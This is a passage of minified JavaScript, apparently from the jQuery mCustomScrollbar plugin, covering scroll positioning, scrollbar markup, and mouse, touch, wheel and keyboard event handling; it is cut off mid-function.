c=[Math.abs(r[0].offsetTop),Math.abs(r[0].offsetLeft)];"x"!==i.axis&&(n.overflowed[0]?s[0].height()>s[0].parent().height()?B.call(this):(G(t,c[0].toString(),{dir:"y",dur:0,overwrite:"none"}),n.contentReset.y=null):(B.call(this),"y"===i.axis?k.call(this):"yx"===i.axis&&n.overflowed[1]&&G(t,c[1].toString(),{dir:"x",dur:0,overwrite:"none"}))),"y"!==i.axis&&(n.overflowed[1]?s[1].width()>s[1].parent().width()?B.call(this):(G(t,c[1].toString(),{dir:"x",dur:0,overwrite:"none"}),n.contentReset.x=null):(B.call(this),"x"===i.axis?k.call(this):"yx"===i.axis&&n.overflowed[0]&&G(t,c[0].toString(),{dir:"y",dur:0,overwrite:"none"}))),o&&n&&(2===o&&i.callbacks.onImageLoad&&"function"==typeof i.callbacks.onImageLoad?i.callbacks.onImageLoad.call(this):3===o&&i.callbacks.onSelectorChange&&"function"==typeof i.callbacks.onSelectorChange?i.callbacks.onSelectorChange.call(this):i.callbacks.onUpdate&&"function"==typeof i.callbacks.onUpdate&&i.callbacks.onUpdate.call(this)),N.call(this)}})},scrollTo:function(t,o){if("undefined"!=typeof t&&null!=t){var n=f.call(this);return e(n).each(function(){var n=e(this);if(n.data(a)){var i=n.data(a),r=i.opt,l={trigger:"external",scrollInertia:r.scrollInertia,scrollEasing:"mcsEaseInOut",moveDragger:!1,timeout:60,callbacks:!0,onStart:!0,onUpdate:!0,onComplete:!0},s=e.extend(!0,{},l,o),c=Y.call(this,t),d=s.scrollInertia>0&&s.scrollInertia<17?17:s.scrollInertia;c[0]=X.call(this,c[0],"y"),c[1]=X.call(this,c[1],"x"),s.moveDragger&&(c[0]*=i.scrollRatio.y,c[1]*=i.scrollRatio.x),s.dur=ne()?0:d,setTimeout(function(){null!==c[0]&&"undefined"!=typeof c[0]&&"x"!==r.axis&&i.overflowed[0]&&(s.dir="y",s.overwrite="all",G(n,c[0].toString(),s)),null!==c[1]&&"undefined"!=typeof c[1]&&"y"!==r.axis&&i.overflowed[1]&&(s.dir="x",s.overwrite="none",G(n,c[1].toString(),s))},s.timeout)}})}},stop:function(){var t=f.call(this);return e(t).each(function(){var t=e(this);t.data(a)&&Q(t)})},disable:function(t){var o=f.call(this);return e(o).each(function(){var o=e(this);if(o.data(a)){o.data(a);N.call(this,"remove"),k.call(this),t&&B.call(this),M.call(this,!0),o.addClass(d[3])}})},destroy:function(){var t=f.call(this);return e(t).each(function(){var n=e(this);if(n.data(a)){var i=n.data(a),r=i.opt,l=e("#mCSB_"+i.idx),s=e("#mCSB_"+i.idx+"_container"),c=e(".mCSB_"+i.idx+"_scrollbar");r.live&&m(r.liveSelector||e(t).selector),N.call(this,"remove"),k.call(this),B.call(this),n.removeData(a),$(this,"mcs"),c.remove(),s.find("img."+d[2]).removeClass(d[2]),l.replaceWith(s.contents()),n.removeClass(o+" _"+a+"_"+i.idx+" "+d[6]+" "+d[7]+" "+d[5]+" "+d[3]).addClass(d[4])}})}},f=function(){return"object"!=typeof e(this)||e(this).length<1?n:this},h=function(t){var o=["rounded","rounded-dark","rounded-dots","rounded-dots-dark"],a=["rounded-dots","rounded-dots-dark","3d","3d-dark","3d-thick","3d-thick-dark","inset","inset-dark","inset-2","inset-2-dark","inset-3","inset-3-dark"],n=["minimal","minimal-dark"],i=["minimal","minimal-dark"],r=["minimal","minimal-dark"];t.autoDraggerLength=e.inArray(t.theme,o)>-1?!1:t.autoDraggerLength,t.autoExpandScrollbar=e.inArray(t.theme,a)>-1?!1:t.autoExpandScrollbar,t.scrollButtons.enable=e.inArray(t.theme,n)>-1?!1:t.scrollButtons.enable,t.autoHideScrollbar=e.inArray(t.theme,i)>-1?!0:t.autoHideScrollbar,t.scrollbarPosition=e.inArray(t.theme,r)>-1?"outside":t.scrollbarPosition},m=function(e){l[e]&&(clearTimeout(l[e]),$(l,e))},p=function(e){return"yx"===e||"xy"===e||"auto"===e?"yx":"x"===e||"horizontal"===e?"x":"y"},g=function(e){return"stepped"===e||"pixels"===e||"step"===e||"click"===e?"stepped":"stepless"},v=function(){var t=e(this),n=t.data(a),i=n.opt,r=i.autoExpandScrollbar?" "+d[1]+"_expand":"",l=["<div id='mCSB_"+n.idx+"_scrollbar_vertical' class='mCSB_scrollTools mCSB_"+n.idx+"_scrollbar mCS-"+i.theme+" mCSB_scrollTools_vertical"+r+"'><div class='"+d[12]+"'><div id='mCSB_"+n.idx+"_dragger_vertical' class='mCSB_dragger' style='position:absolute;'><div class='mCSB_dragger_bar' /></div><div class='mCSB_draggerRail' /></div></div>","<div id='mCSB_"+n.idx+"_scrollbar_horizontal' class='mCSB_scrollTools mCSB_"+n.idx+"_scrollbar mCS-"+i.theme+" mCSB_scrollTools_horizontal"+r+"'><div class='"+d[12]+"'><div id='mCSB_"+n.idx+"_dragger_horizontal' class='mCSB_dragger' style='position:absolute;'><div class='mCSB_dragger_bar' /></div><div class='mCSB_draggerRail' /></div></div>"],s="yx"===i.axis?"mCSB_vertical_horizontal":"x"===i.axis?"mCSB_horizontal":"mCSB_vertical",c="yx"===i.axis?l[0]+l[1]:"x"===i.axis?l[1]:l[0],u="yx"===i.axis?"<div id='mCSB_"+n.idx+"_container_wrapper' class='mCSB_container_wrapper' />":"",f=i.autoHideScrollbar?" "+d[6]:"",h="x"!==i.axis&&"rtl"===n.langDir?" "+d[7]:"";i.setWidth&&t.css("width",i.setWidth),i.setHeight&&t.css("height",i.setHeight),i.setLeft="y"!==i.axis&&"rtl"===n.langDir?"989999px":i.setLeft,t.addClass(o+" _"+a+"_"+n.idx+f+h).wrapInner("<div id='mCSB_"+n.idx+"' class='mCustomScrollBox mCS-"+i.theme+" "+s+"'><div id='mCSB_"+n.idx+"_container' class='mCSB_container' style='position:relative; top:"+i.setTop+"; left:"+i.setLeft+";' dir='"+n.langDir+"' /></div>");var m=e("#mCSB_"+n.idx),p=e("#mCSB_"+n.idx+"_container");"y"===i.axis||i.advanced.autoExpandHorizontalScroll||p.css("width",x(p)),"outside"===i.scrollbarPosition?("static"===t.css("position")&&t.css("position","relative"),t.css("overflow","visible"),m.addClass("mCSB_outside").after(c)):(m.addClass("mCSB_inside").append(c),p.wrap(u)),w.call(this);var g=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")];g[0].css("min-height",g[0].height()),g[1].css("min-width",g[1].width())},x=function(t){var o=[t[0].scrollWidth,Math.max.apply(Math,t.children().map(function(){return e(this).outerWidth(!0)}).get())],a=t.parent().width();return o[0]>a?o[0]:o[1]>a?o[1]:"100%"},_=function(){var t=e(this),o=t.data(a),n=o.opt,i=e("#mCSB_"+o.idx+"_container");if(n.advanced.autoExpandHorizontalScroll&&"y"!==n.axis){i.css({width:"auto","min-width":0,"overflow-x":"scroll"});var r=Math.ceil(i[0].scrollWidth);3===n.advanced.autoExpandHorizontalScroll||2!==n.advanced.autoExpandHorizontalScroll&&r>i.parent().width()?i.css({width:r,"min-width":"100%","overflow-x":"inherit"}):i.css({"overflow-x":"inherit",position:"absolute"}).wrap("<div class='mCSB_h_wrapper' style='position:relative; left:0; width:999999px;' />").css({width:Math.ceil(i[0].getBoundingClientRect().right+.4)-Math.floor(i[0].getBoundingClientRect().left),"min-width":"100%",position:"relative"}).unwrap()}},w=function(){var t=e(this),o=t.data(a),n=o.opt,i=e(".mCSB_"+o.idx+"_scrollbar:first"),r=oe(n.scrollButtons.tabindex)?"tabindex='"+n.scrollButtons.tabindex+"'":"",l=["<a href='#' class='"+d[13]+"' "+r+" />","<a href='#' class='"+d[14]+"' "+r+" />","<a href='#' class='"+d[15]+"' "+r+" />","<a href='#' class='"+d[16]+"' "+r+" />"],s=["x"===n.axis?l[2]:l[0],"x"===n.axis?l[3]:l[1],l[2],l[3]];n.scrollButtons.enable&&i.prepend(s[0]).append(s[1]).next(".mCSB_scrollTools").prepend(s[2]).append(s[3])},S=function(){var t=e(this),o=t.data(a),n=e("#mCSB_"+o.idx),i=e("#mCSB_"+o.idx+"_container"),r=[e("#mCSB_"+o.idx+"_dragger_vertical"),e("#mCSB_"+o.idx+"_dragger_horizontal")],l=[n.height()/i.outerHeight(!1),n.width()/i.outerWidth(!1)],c=[parseInt(r[0].css("min-height")),Math.round(l[0]*r[0].parent().height()),parseInt(r[1].css("min-width")),Math.round(l[1]*r[1].parent().width())],d=s&&c[1]<c[0]?c[0]:c[1],u=s&&c[3]<c[2]?c[2]:c[3];r[0].css({height:d,"max-height":r[0].parent().height()-10}).find(".mCSB_dragger_bar").css({"line-height":c[0]+"px"}),r[1].css({width:u,"max-width":r[1].parent().width()-10})},b=function(){var t=e(this),o=t.data(a),n=e("#mCSB_"+o.idx),i=e("#mCSB_"+o.idx+"_container"),r=[e("#mCSB_"+o.idx+"_dragger_vertical"),e("#mCSB_"+o.idx+"_dragger_horizontal")],l=[i.outerHeight(!1)-n.height(),i.outerWidth(!1)-n.width()],s=[l[0]/(r[0].parent().height()-r[0].height()),l[1]/(r[1].parent().width()-r[1].width())];o.scrollRatio={y:s[0],x:s[1]}},C=function(e,t,o){var a=o?d[0]+"_expanded":"",n=e.closest(".mCSB_scrollTools");"active"===t?(e.toggleClass(d[0]+" "+a),n.toggleClass(d[1]),e[0]._draggable=e[0]._draggable?0:1):e[0]._draggable||("hide"===t?(e.removeClass(d[0]),n.removeClass(d[1])):(e.addClass(d[0]),n.addClass(d[1])))},y=function(){var t=e(this),o=t.data(a),n=e("#mCSB_"+o.idx),i=e("#mCSB_"+o.idx+"_container"),r=null==o.overflowed?i.height():i.outerHeight(!1),l=null==o.overflowed?i.width():i.outerWidth(!1),s=i[0].scrollHeight,c=i[0].scrollWidth;return s>r&&(r=s),c>l&&(l=c),[r>n.height(),l>n.width()]},B=function(){var t=e(this),o=t.data(a),n=o.opt,i=e("#mCSB_"+o.idx),r=e("#mCSB_"+o.idx+"_container"),l=[e("#mCSB_"+o.idx+"_dragger_vertical"),e("#mCSB_"+o.idx+"_dragger_horizontal")];if(Q(t),("x"!==n.axis&&!o.overflowed[0]||"y"===n.axis&&o.overflowed[0])&&(l[0].add(r).css("top",0),G(t,"_resetY")),"y"!==n.axis&&!o.overflowed[1]||"x"===n.axis&&o.overflowed[1]){var s=dx=0;"rtl"===o.langDir&&(s=i.width()-r.outerWidth(!1),dx=Math.abs(s/o.scrollRatio.x)),r.css("left",s),l[1].css("left",dx),G(t,"_resetX")}},T=function(){function t(){r=setTimeout(function(){e.event.special.mousewheel?(clearTimeout(r),W.call(o[0])):t()},100)}var o=e(this),n=o.data(a),i=n.opt;if(!n.bindEvents){if(I.call(this),i.contentTouchScroll&&D.call(this),E.call(this),i.mouseWheel.enable){var r;t()}P.call(this),U.call(this),i.advanced.autoScrollOnFocus&&H.call(this),i.scrollButtons.enable&&F.call(this),i.keyboard.enable&&q.call(this),n.bindEvents=!0}},k=function(){var t=e(this),o=t.data(a),n=o.opt,i=a+"_"+o.idx,r=".mCSB_"+o.idx+"_scrollbar",l=e("#mCSB_"+o.idx+",#mCSB_"+o.idx+"_container,#mCSB_"+o.idx+"_container_wrapper,"+r+" ."+d[12]+",#mCSB_"+o.idx+"_dragger_vertical,#mCSB_"+o.idx+"_dragger_horizontal,"+r+">a"),s=e("#mCSB_"+o.idx+"_container");n.advanced.releaseDraggableSelectors&&l.add(e(n.advanced.releaseDraggableSelectors)),n.advanced.extraDraggableSelectors&&l.add(e(n.advanced.extraDraggableSelectors)),o.bindEvents&&(e(document).add(e(!A()||top.document)).unbind("."+i),l.each(function(){e(this).unbind("."+i)}),clearTimeout(t[0]._focusTimeout),$(t[0],"_focusTimeout"),clearTimeout(o.sequential.step),$(o.sequential,"step"),clearTimeout(s[0].onCompleteTimeout),$(s[0],"onCompleteTimeout"),o.bindEvents=!1)},M=function(t){var o=e(this),n=o.data(a),i=n.opt,r=e("#mCSB_"+n.idx+"_container_wrapper"),l=r.length?r:e("#mCSB_"+n.idx+"_container"),s=[e("#mCSB_"+n.idx+"_scrollbar_vertical"),e("#mCSB_"+n.idx+"_scrollbar_horizontal")],c=[s[0].find(".mCSB_dragger"),s[1].find(".mCSB_dragger")];"x"!==i.axis&&(n.overflowed[0]&&!t?(s[0].add(c[0]).add(s[0].children("a")).css("display","block"),l.removeClass(d[8]+" "+d[10])):(i.alwaysShowScrollbar?(2!==i.alwaysShowScrollbar&&c[0].css("display","none"),l.removeClass(d[10])):(s[0].css("display","none"),l.addClass(d[10])),l.addClass(d[8]))),"y"!==i.axis&&(n.overflowed[1]&&!t?(s[1].add(c[1]).add(s[1].children("a")).css("display","block"),l.removeClass(d[9]+" "+d[11])):(i.alwaysShowScrollbar?(2!==i.alwaysShowScrollbar&&c[1].css("display","none"),l.removeClass(d[11])):(s[1].css("display","none"),l.addClass(d[11])),l.addClass(d[9]))),n.overflowed[0]||n.overflowed[1]?o.removeClass(d[5]):o.addClass(d[5])},O=function(t){var o=t.type,a=t.target.ownerDocument!==document&&null!==frameElement?[e(frameElement).offset().top,e(frameElement).offset().left]:null,n=A()&&t.target.ownerDocument!==top.document&&null!==frameElement?[e(t.view.frameElement).offset().top,e(t.view.frameElement).offset().left]:[0,0];switch(o){case"pointerdown":case"MSPointerDown":case"pointermove":case"MSPointerMove":case"pointerup":case"MSPointerUp":return a?[t.originalEvent.pageY-a[0]+n[0],t.originalEvent.pageX-a[1]+n[1],!1]:[t.originalEvent.pageY,t.originalEvent.pageX,!1];case"touchstart":case"touchmove":case"touchend":var i=t.originalEvent.touches[0]||t.originalEvent.changedTouches[0],r=t.originalEvent.touches.length||t.originalEvent.changedTouches.length;return t.target.ownerDocument!==document?[i.screenY,i.screenX,r>1]:[i.pageY,i.pageX,r>1];default:return a?[t.pageY-a[0]+n[0],t.pageX-a[1]+n[1],!1]:[t.pageY,t.pageX,!1]}},I=function(){function t(e,t,a,n){if(h[0].idleTimer=d.scrollInertia<233?250:0,o.attr("id")===f[1])var i="x",s=(o[0].offsetLeft-t+n)*l.scrollRatio.x;else var i="y",s=(o[0].offsetTop-e+a)*l.scrollRatio.y;G(r,s.toString(),{dir:i,drag:!0})}var o,n,i,r=e(this),l=r.data(a),d=l.opt,u=a+"_"+l.idx,f=["mCSB_"+l.idx+"_dragger_vertical","mCSB_"+l.idx+"_dragger_horizontal"],h=e("#mCSB_"+l.idx+"_container"),m=e("#"+f[0]+",#"+f[1]),p=d.advanced.releaseDraggableSelectors?m.add(e(d.advanced.releaseDraggableSelectors)):m,g=d.advanced.extraDraggableSelectors?e(!A()||top.document).add(e(d.advanced.extraDraggableSelectors)):e(!A()||top.document);m.bind("contextmenu."+u,function(e){e.preventDefault()}).bind("mousedown."+u+" touchstart."+u+" pointerdown."+u+" MSPointerDown."+u,function(t){if(t.stopImmediatePropagation(),t.preventDefault(),ee(t)){c=!0,s&&(document.onselectstart=function(){return!1}),L.call(h,!1),Q(r),o=e(this);var a=o.offset(),l=O(t)[0]-a.top,u=O(t)[1]-a.left,f=o.height()+a.top,m=o.width()+a.left;f>l&&l>0&&m>u&&u>0&&(n=l,i=u),C(o,"active",d.autoExpandScrollbar)}}).bind("touchmove."+u,function(e){e.stopImmediatePropagation(),e.preventDefault();var a=o.offset(),r=O(e)[0]-a.top,l=O(e)[1]-a.left;t(n,i,r,l)}),e(document).add(g).bind("mousemove."+u+" pointermove."+u+" MSPointerMove."+u,function(e){if(o){var a=o.offset(),r=O(e)[0]-a.top,l=O(e)[1]-a.left;if(n===r&&i===l)return;t(n,i,r,l)}}).add(p).bind("mouseup."+u+" touchend."+u+" pointerup."+u+" MSPointerUp."+u,function(){o&&(C(o,"active",d.autoExpandScrollbar),o=null),c=!1,s&&(document.onselectstart=null),L.call(h,!0)})},D=function(){function o(e){if(!te(e)||c||O(e)[2])return void(t=0);t=1,b=0,C=0,d=1,y.removeClass("mCS_touch_action");var o=I.offset();u=O(e)[0]-o.top,f=O(e)[1]-o.left,z=[O(e)[0],O(e)[1]]}function n(e){if(te(e)&&!c&&!O(e)[2]&&(T.documentTouchScroll||e.preventDefault(),e.stopImmediatePropagation(),(!C||b)&&d)){g=K();var t=M.offset(),o=O(e)[0]-t.top,a=O(e)[1]-t.left,n="mcsLinearOut";if(E.push(o),W.push(a),z[2]=Math.abs(O(e)[0]-z[0]),z[3]=Math.abs(O(e)[1]-z[1]),B.overflowed[0])var i=D[0].parent().height()-D[0].height(),r=u-o>0&&o-u>-(i*B.scrollRatio.y)&&(2*z[3]<z[2]||"yx"===T.axis);if(B.overflowed[1])var l=D[1].parent().width()-D[1].width(),h=f-a>0&&a-f>-(l*B.scrollRatio.x)&&(2*z[2]<z[3]||"yx"===T.axis);r||h?(U||e.preventDefault(),b=1):(C=1,y.addClass("mCS_touch_action")),U&&e.preventDefault(),w="yx"===T.axis?[u-o,f-a]:"x"===T.axis?[null,f-a]:[u-o,null],I[0].idleTimer=250,B.overflowed[0]&&s(w[0],R,n,"y","all",!0),B.overflowed[1]&&s(w[1],R,n,"x",L,!0)}}function i(e){if(!te(e)||c||O(e)[2])return void(t=0);t=1,e.stopImmediatePropagation(),Q(y),p=K();var o=M.offset();h=O(e)[0]-o.top,m=O(e)[1]-o.left,E=[],W=[]}function r(e){if(te(e)&&!c&&!O(e)[2]){d=0,e.stopImmediatePropagation(),b=0,C=0,v=K();var t=M.offset(),o=O(e)[0]-t.top,a=O(e)[1]-t.left;if(!(v-g>30)){_=1e3/(v-p);var n="mcsEaseOut",i=2.5>_,r=i?[E[E.length-2],W[W.length-2]]:[0,0];x=i?[o-r[0],a-r[1]]:[o-h,a-m];var u=[Math.abs(x[0]),Math.abs(x[1])];_=i?[Math.abs(x[0]/4),Math.abs(x[1]/4)]:[_,_];var f=[Math.abs(I[0].offsetTop)-x[0]*l(u[0]/_[0],_[0]),Math.abs(I[0].offsetLeft)-x[1]*l(u[1]/_[1],_[1])];w="yx"===T.axis?[f[0],f[1]]:"x"===T.axis?[null,f[1]]:[f[0],null],S=[4*u[0]+T.scrollInertia,4*u[1]+T.scrollInertia];var y=parseInt(T.contentTouchScroll)||0;w[0]=u[0]>y?w[0]:0,w[1]=u[1]>y?w[1]:0,B.overflowed[0]&&s(w[0],S[0],n,"y",L,!1),B.overflowed[1]&&s(w[1],S[1],n,"x",L,!1)}}}function l(e,t){var o=[1.5*t,2*t,t/1.5,t/2];return e>90?t>4?o[0]:o[3]:e>60?t>3?o[3]:o[2]:e>30?t>8?o[1]:t>6?o[0]:t>4?t:o[2]:t>8?t:o[3]}function s(e,t,o,a,n,i){e&&G(y,e.toString(),{dur:t,scrollEasing:o,dir:a,overwrite:n,drag:i})}var d,u,f,h,m,p,g,v,x,_,w,S,b,C,y=e(this),B=y.data(a),T=B.opt,k=a+"_"+B.idx,M=e("#mCSB_"+B.idx),I=e("#mCSB_"+B.idx+"_container"),D=[e("#mCSB_"+B.idx+"_dragger_vertical"),e("#mCSB_"+B.idx+"_dragger_horizontal")],E=[],W=[],R=0,L="yx"===T.axis?"none":"all",z=[],P=I.find("iframe"),H=["touchstart."+k+" pointerdown."+k+" MSPointerDown."+k,"touchmove."+k+" pointermove."+k+" MSPointerMove."+k,"touchend."+k+" pointerup."+k+" MSPointerUp."+k],U=void 0!==document.body.style.touchAction&&""!==document.body.style.touchAction;I.bind(H[0],function(e){o(e)}).bind(H[1],function(e){n(e)}),M.bind(H[0],function(e){i(e)}).bind(H[2],function(e){r(e)}),P.length&&P.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind(H[0],function(e){o(e),i(e)}).bind(H[1],function(e){n(e)}).bind(H[2],function(e){r(e)})})})},E=function(){function o(){return window.getSelection?window.getSelection().toString():document.selection&&"Control"!=document.selection.type?document.selection.createRange().text:0}function n(e,t,o){d.type=o&&i?"stepped":"stepless",d.scrollAmount=10,j(r,e,t,"mcsLinearOut",o?60:null)}var i,r=e(this),l=r.data(a),s=l.opt,d=l.sequential,u=a+"_"+l.idx,f=e("#mCSB_"+l.idx+"_container"),h=f.parent();f.bind("mousedown."+u,function(){t||i||(i=1,c=!0)}).add(document).bind("mousemove."+u,function(e){if(!t&&i&&o()){var a=f.offset(),r=O(e)[0]-a.top+f[0].offsetTop,c=O(e)[1]-a.left+f[0].offsetLeft;r>0&&r<h.height()&&c>0&&c<h.width()?d.step&&n("off",null,"stepped"):("x"!==s.axis&&l.overflowed[0]&&(0>r?n("on",38):r>h.height()&&n("on",40)),"y"!==s.axis&&l.overflowed[1]&&(0>c?n("on",37):c>h.width()&&n("on",39)))}}).bind("mouseup."+u+" dragend."+u,function(){t||(i&&(i=0,n("off",null)),c=!1)})},W=function(){function t(t,a){if(Q(o),!z(o,t.target)){var r="auto"!==i.mouseWheel.deltaFactor?parseInt(i.mouseWheel.deltaFactor):s&&t.deltaFactor<100?100:t.deltaFactor||100,d=i.scrollInertia;if("x"===i.axis||"x"===i.mouseWheel.axis)var u="x",f=[Math.round(r*n.scrollRatio.x),parseInt(i.mouseWheel.scrollAmount)],h="auto"!==i.mouseWheel.scrollAmount?f[1]:f[0]>=l.width()?.9*l.width():f[0],m=Math.abs(e("#mCSB_"+n.idx+"_container")[0].offsetLeft),p=c[1][0].offsetLeft,g=c[1].parent().width()-c[1].width(),v="y"===i.mouseWheel.axis?t.deltaY||a:t.deltaX;else var u="y",f=[Math.round(r*n.scrollRatio.y),parseInt(i.mouseWheel.scrollAmount)],h="auto"!==i.mouseWheel.scrollAmount?f[1]:f[0]>=l.height()?.9*l.height():f[0],m=Math.abs(e("#mCSB_"+n.idx+"_container")[0].offsetTop),p=c[0][0].offsetTop,g=c[0].parent().height()-c[0].height(),v=t.deltaY||a;"y"===u&&!n.overflowed[0]||"x"===u&&!n.overflowed[1]||((i.mouseWheel.invert||t.webkitDirectionInvertedFromDevice)&&(v=-v),i.mouseWheel.normalizeDelta&&(v=0>v?-1:1),(v>0&&0!==p||0>v&&p!==g||i.mouseWheel.preventDefault)&&(t.stopImmediatePropagation(),t.preventDefault()),t.deltaFactor<5&&!i.mouseWheel.normalizeDelta&&(h=t.deltaFactor,d=17),G(o,(m-v*h).toString(),{dir:u,dur:d}))}}if(e(this).data(a)){var o=e(this),n=o.data(a),i=n.opt,r=a+"_"+n.idx,l=e("#mCSB_"+n.idx),c=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")],d=e("#mCSB_"+n.idx+"_container").find("iframe");d.length&&d.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind("mousewheel."+r,function(e,o){t(e,o)})})}),l.bind("mousewheel."+r,function(e,o){t(e,o)})}},R=new Object,A=function(t){var o=!1,a=!1,n=null;if(void 0===t?a="#empty":void 0!==e(t).attr("id")&&(a=e(t).attr("id")),a!==!1&&void 0!==R[a])return R[a];if(t){try{var i=t.contentDocument||t.contentWindow.document;n=i.body.innerHTML}catch(r){}o=null!==n}else{try{var i=top.document;n=i.body.innerHTML}catch(r){}o=null!==n}return a!==!1&&(R[a]=o),o},L=function(e){var t=this.find("iframe");if(t.length){var o=e?"auto":"none";t.css("pointer-events",o)}},z=function(t,o){var n=o.nodeName.toLowerCase(),i=t.data(a).opt.mouseWheel.disableOver,r=["select","textarea"];return e.inArray(n,i)>-1&&!(e.inArray(n,r)>-1&&!e(o).is(":focus"))},P=function(){var t,o=e(this),n=o.data(a),i=a+"_"+n.idx,r=e("#mCSB_"+n.idx+"_container"),l=r.parent(),s=e(".mCSB_"+n.idx+"_scrollbar ."+d[12]);s.bind("mousedown."+i+" touchstart."+i+" pointerdown."+i+" MSPointerDown."+i,function(o){c=!0,e(o.target).hasClass("mCSB_dragger")||(t=1)}).bind("touchend."+i+" pointerup."+i+" MSPointerUp."+i,function(){c=!1}).bind("click."+i,function(a){if(t&&(t=0,e(a.target).hasClass(d[12])||e(a.target).hasClass("mCSB_draggerRail"))){Q(o);var i=e(this),s=i.find(".mCSB_dragger");if(i.parent(".mCSB_scrollTools_horizontal").length>0){if(!n.overflowed[1])return;var c="x",u=a.pageX>s.offset().left?-1:1,f=Math.abs(r[0].offsetLeft)-u*(.9*l.width())}else{if(!n.overflowed[0])return;var c="y",u=a.pageY>s.offset().top?-1:1,f=Math.abs(r[0].offsetTop)-u*(.9*l.height())}G(o,f.toString(),{dir:c,scrollEasing:"mcsEaseInOut"})}})},H=function(){var t=e(this),o=t.data(a),n=o.opt,i=a+"_"+o.idx,r=e("#mCSB_"+o.idx+"_container"),l=r.parent();r.bind("focusin."+i,function(){var o=e(document.activeElement),a=r.find(".mCustomScrollBox").length,i=0;o.is(n.advanced.autoScrollOnFocus)&&(Q(t),clearTimeout(t[0]._focusTimeout),t[0]._focusTimer=a?(i+17)*a:0,t[0]._focusTimeout=setTimeout(function(){var e=[ae(o)[0],ae(o)[1]],a=[r[0].offsetTop,r[0].offsetLeft],s=[a[0]+e[0]>=0&&a[0]+e[0]<l.height()-o.outerHeight(!1),a[1]+e[1]>=0&&a[0]+e[1]<l.width()-o.outerWidth(!1)],c="yx"!==n.axis||s[0]||s[1]?"all":"none";"x"===n.axis||s[0]||G(t,e[0].toString(),{dir:"y",scrollEasing:"mcsEaseInOut",overwrite:c,dur:i}),"y"===n.axis||s[1]||G(t,e[1].toString(),{dir:"x",scrollEasing:"mcsEaseInOut",overwrite:c,dur:i})},t[0]._focusTimer))})},U=function(){var t=e(this),o=t.data(a),n=a+"_"+o.idx,i=e("#mCSB_"+o.idx+"_container").parent();i.bind("scroll."+n,function(){0===i.scrollTop()&&0===i.scrollLeft()||e(".mCSB_"+o.idx+"_scrollbar").css("visibility","hidden")})},F=function(){var t=e(this),o=t.data(a),n=o.opt,i=o.sequential,r=a+"_"+o.idx,l=".mCSB_"+o.idx+"_scrollbar",s=e(l+">a");s.bind("contextmenu."+r,function(e){e.preventDefault()}).bind("mousedown."+r+" touchstart."+r+" pointerdown."+r+" MSPointerDown."+r+" mouseup."+r+" touchend."+r+" pointerup."+r+" MSPointerUp."+r+" mouseout."+r+" pointerout."+r+" MSPointerOut."+r+" click."+r,function(a){function r(e,o){i.scrollAmount=n.scrollButtons.scrollAmount,j(t,e,o)}if(a.preventDefault(),ee(a)){var l=e(this).attr("class");switch(i.type=n.scrollButtons.scrollType,a.type){case"mousedown":case"touchstart":case"pointerdown":case"MSPointerDown":if("stepped"===i.type)return;c=!0,o.tweenRunning=!1,r("on",l);break;case"mouseup":case"touchend":case"pointerup":case"MSPointerUp":case"mouseout":case"pointerout":case"MSPointerOut":if("stepped"===i.type)return;c=!1,i.dir&&r("off",l);break;case"click":if("stepped"!==i.type||o.tweenRunning)return;r("on",l)}}})},q=function(){function t(t){function a(e,t){r.type=i.keyboard.scrollType,r.scrollAmount=i.keyboard.scrollAmount,"stepped"===r.type&&n.tweenRunning||j(o,e,t)}switch(t.type){case"blur":n.tweenRunning&&r.dir&&a("off",null);break;case"keydown":case"keyup":var l=t.keyCode?t.keyCode:t.which,s="on";if("x"!==i.axis&&(38===l||40===l)||"y"!==i.axis&&(37===l||39===l)){if((38===l||40===l)&&!n.overflowed[0]||(37===l||39===l)&&!n.overflowed[1])return;"keyup"===t.type&&(s="off"),e(document.activeElement).is(u)||(t.preventDefault(),t.stopImmediatePropagation(),a(s,l))}else if(33===l||34===l){if((n.overflowed[0]||n.overflowed[1])&&(t.preventDefault(),t.stopImmediatePropagation()),"keyup"===t.type){Q(o);var f=34===l?-1:1;if("x"===i.axis||"yx"===i.axis&&n.overflowed[1]&&!n.overflowed[0])var h="x",m=Math.abs(c[0].offsetLeft)-f*(.9*d.width());else var h="y",m=Math.abs(c[0].offsetTop)-f*(.9*d.height());G(o,m.toString(),{dir:h,scrollEasing:"mcsEaseInOut"})}}else if((35===l||36===l)&&!e(document.activeElement).is(u)&&((n.overflowed[0]||n.overflowed[1])&&(t.preventDefault(),t.stopImmediatePropagation()),"keyup"===t.type)){if("x"===i.axis||"yx"===i.axis&&n.overflowed[1]&&!n.overflowed[0])var h="x",m=35===l?Math.abs(d.width()-c.outerWidth(!1)):0;else var h="y",m=35===l?Math.abs(d.height()-c.outerHeight(!1)):0;G(o,m.toString(),{dir:h,scrollEasing:"mcsEaseInOut"})}}}var o=e(this),n=o.data(a),i=n.opt,r=n.sequential,l=a+"_"+n.idx,s=e("#mCSB_"+n.idx),c=e("#mCSB_"+n.idx+"_container"),d=c.parent(),u="input,textarea,select,datalist,keygen,[contenteditable='true']",f=c.find("iframe"),h=["blur."+l+" keydown."+l+" keyup."+l];f.length&&f.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind(h[0],function(e){t(e)})})}),s.attr("tabindex","0").bind(h[0],function(e){t(e)})},j=function(t,o,n,i,r){function l(e){u.snapAmount&&(f.scrollAmount=u.snapAmount instanceof Array?"x"===f.dir[0]?u.snapAmount[1]:u.snapAmount[0]:u.snapAmount);var o="stepped"!==f.type,a=r?r:e?o?p/1.5:g:1e3/60,n=e?o?7.5:40:2.5,s=[Math.abs(h[0].offsetTop),Math.abs(h[0].offsetLeft)],d=[c.scrollRatio.y>10?10:c.scrollRatio.y,c.scrollRatio.x>10?10:c.scrollRatio.x],m="x"===f.dir[0]?s[1]+f.dir[1]*(d[1]*n):s[0]+f.dir[1]*(d[0]*n),v="x"===f.dir[0]?s[1]+f.dir[1]*parseInt(f.scrollAmount):s[0]+f.dir[1]*parseInt(f.scrollAmount),x="auto"!==f.scrollAmount?v:m,_=i?i:e?o?"mcsLinearOut":"mcsEaseInOut":"mcsLinear",w=!!e;return 